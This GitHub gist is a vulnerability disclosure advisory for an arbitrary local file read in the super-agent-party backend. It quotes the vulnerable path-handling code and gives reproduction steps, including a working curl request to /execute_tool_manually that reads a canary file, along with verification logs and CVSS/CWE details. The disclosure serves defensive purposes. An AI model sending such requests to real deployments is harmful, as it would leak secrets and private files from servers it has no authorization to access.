Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save YLChen-007/479bfabb441bd6cc5337db910b004841 to your computer and use it in GitHub Desktop.

Select an option

Save YLChen-007/479bfabb441bd6cc5337db910b004841 to your computer and use it in GitHub Desktop.
super-agent-party: Arbitrary Local File Read via `get_file_content` Tool Dispatch in super-agent-party

Advisory Details

Title: Arbitrary Local File Read via get_file_content Tool Dispatch in super-agent-party

Description:

Summary

An attacker who can reach the backend manual tool execution API can disclose arbitrary server-local readable files by passing a raw filesystem path in tool_params.file_url when invoking the get_file_content tool. The backend only treats http:// and https:// values as remote URLs; every other value is implicitly trusted as a local path and opened directly.

Details

The vulnerable entry point is the public HTTP endpoint POST /execute_tool_manually in server.py. That route accepts user-controlled tool_name and tool_params, then dispatches them into the backend tool registry.

At release v0.4.1, get_file_content is registered as a callable tool in the dispatcher:

_TOOL_HOOKS = {
    ...
    "get_file_content": get_file_content,
    ...
}

The root cause sits in py/load_files.py. The helper get_content() only distinguishes whether the supplied string starts with http:// or https://. If not, it falls back to local file handling:

async def get_content(input_str):
    if input_str.startswith(('http://', 'https://')):
        return await handle_url(input_str)
    else:
        return await handle_local_file(input_str)

handle_local_file() then performs a direct filesystem read:

async def handle_local_file(file_path):
    if not os.path.exists(file_path):
        raise FileNotFoundError(f"文件不存在: {file_path}")
    loop = asyncio.get_event_loop()
    content = await loop.run_in_executor(None, _read_file, file_path)
    ...

def _read_file(file_path):
    with open(file_path, 'rb') as f:
        return f.read()

get_file_content() returns the decoded file contents to the API caller:

async def get_file_content(file_url):
    try:
        content, ext = await get_content(file_url)
        ...
        return decode_text(content)

This is exploitable through the normal HTTP interface. In the verified environment, a request using a raw absolute local path returned the canary file contents, while a control request using http://127.0.0.1/... was blocked by the internal-network defense. That demonstrates the backend already has URL-side SSRF protections, but does not apply equivalent validation to non-HTTP input.

PoC

Prerequisites

  • A running super-agent-party backend instance started from the repository, for example: .venv/bin/python server.py --host 127.0.0.1 --port 3456
  • Reachability to http://127.0.0.1:3456/execute_tool_manually
  • A readable local file on the target host. The provided PoC uses the exp folder canary file.

Reproduction Steps

  1. Download the primary verification script from: verification_test.py
  2. Download the helper used by the verification script from: experiment_lib.py
  3. Optionally download the original full verification harness from: verification_test_CVE-2026-26321.py
  4. Download the control script from: control-blocked_remote_fetch.py
  5. Start the backend: .venv/bin/python server.py --host 127.0.0.1 --port 3456
  6. Run the verification script: python3 verification_test.py
  7. The equivalent minimal raw request is: curl -s -X POST http://127.0.0.1:3456/execute_tool_manually -H 'Content-Type: application/json' --data '{"tool_name":"get_file_content","tool_params":{"file_url":"/root/project/xclaw-project/super-agent-party/llm-enhance/cve-finding/similar/Info_Leak/CVE-2026-26321-get_file_content-local-path-exp/verification_canary.txt"},"approval_type":"once"}'
  8. Confirm the response contains the canary string from the local file.
  9. Run the control script: python3 control-blocked_remote_fetch.py
  10. Confirm the localhost URL control is rejected instead of leaking content.

Log of Evidence

Verified runtime evidence from verification_result.json:

{
  "mode": "End-to-End",
  "health_status": 200,
  "vuln_status": 200,
  "vuln_body": "{\"result\":\"CVE-2026-26321-CANARY-1781301776\"}",
  "remote_status": 200,
  "remote_body": "{\"result\":\"文件解析错误: 安全拒绝: 不允许访问内部网络地址 (127.0.0.1)\"}",
  "file_scheme_status": 200,
  "file_scheme_body": "{\"result\":\"文件解析错误: 文件不存在: file:///root/project/xclaw-project/super-agent-party/llm-enhance/cve-finding/similar/Info_Leak/CVE-2026-26321-get_file_content-local-path-exp/verification_canary.txt\"}",
  "marker": "CVE-2026-26321-CANARY-1781301776",
  "confirmed": true
}

Verified control evidence from control_result.json:

{
  "mode": "End-to-End",
  "control_status": 200,
  "control_body": "{\"result\":\"文件解析错误: 安全拒绝: 不允许访问内部网络地址 (127.0.0.1)\"}",
  "marker": "CVE-2026-26321-CONTROL-1781301776",
  "blocked": true
}

Impact

This is an arbitrary local file read affecting deployed super-agent-party backend instances that expose the manual tool execution API to untrusted callers. A successful attacker can read any file that the backend process user can read, including application configuration, uploaded data, stored task/workspace material, and files containing secrets such as API keys or integration credentials. In shared or remotely accessible deployments, this can become a cross-user confidentiality breach and a stepping stone for further compromise.

Affected products

  • Ecosystem: pip
  • Package name: super-agent-party
  • Affected versions: <= 0.4.1
  • Patched versions:

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Weaknesses

  • CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Occurrences

Permalink Description
https://github.com/heshengtao/super-agent-party/blob/53679d2bc1267e3db4e8d3f75b80a4a7db5bf150/py/load_files.py#L201-L220 get_content() routes any non-HTTP input to handle_local_file(), and handle_local_file() passes the caller-controlled path into _read_file().
https://github.com/heshengtao/super-agent-party/blob/53679d2bc1267e3db4e8d3f75b80a4a7db5bf150/py/load_files.py#L210-L213 _read_file() performs the actual open(file_path, 'rb') on attacker-controlled input.
https://github.com/heshengtao/super-agent-party/blob/53679d2bc1267e3db4e8d3f75b80a4a7db5bf150/py/load_files.py#L661-L668 get_file_content() returns the decoded contents produced by get_content() to the caller.
https://github.com/heshengtao/super-agent-party/blob/53679d2bc1267e3db4e8d3f75b80a4a7db5bf150/server.py#L6527-L6543 The backend tool registry makes get_file_content available through the manual execution path.
https://github.com/heshengtao/super-agent-party/blob/53679d2bc1267e3db4e8d3f75b80a4a7db5bf150/server.py#L1051-L1057 server.py imports get_file_content into the backend tool dispatch scope.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment